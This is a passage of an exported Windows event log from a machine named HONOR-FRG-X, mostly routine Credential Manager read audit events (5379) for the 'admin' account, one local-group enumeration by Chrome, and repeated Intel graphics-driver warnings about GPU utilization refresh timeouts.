ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.939\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.940\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.941\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:11.337\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:11.344\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:11.778\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:12.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:12.442\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:12.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.190\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x3984\n\tProcess Name:\t\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:13.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.431\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.663\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:13.669\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:53:54.629\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, CIMWin32, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:54:11.248\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:11.253\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:12.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:12.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:12.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:13.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:13.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.263\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.710\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:14.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.381\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.441\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:15.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.421\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.425\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:32.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:33.316\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:33.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:34.095\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:34.541\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:34.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:35.209\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:35.421\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:35.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:36.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:36.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:37.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:37.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:37.754\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.312\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.756\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:38.978\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.206\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.312\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.426\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:39.866\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:40.538\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:40.760\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:41.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:41.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:42.210\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:42.432\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:42.989\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:43.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:43.648\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:43.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.196\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.639\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:44.863\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:45.638\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:45.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:46.083\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:46.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:46.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:47.640\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:47.976\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:48.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:48.872\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:49.088\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:49.293\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:50.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:51.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:51.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:52.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:52.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:52.714\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:54:53.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 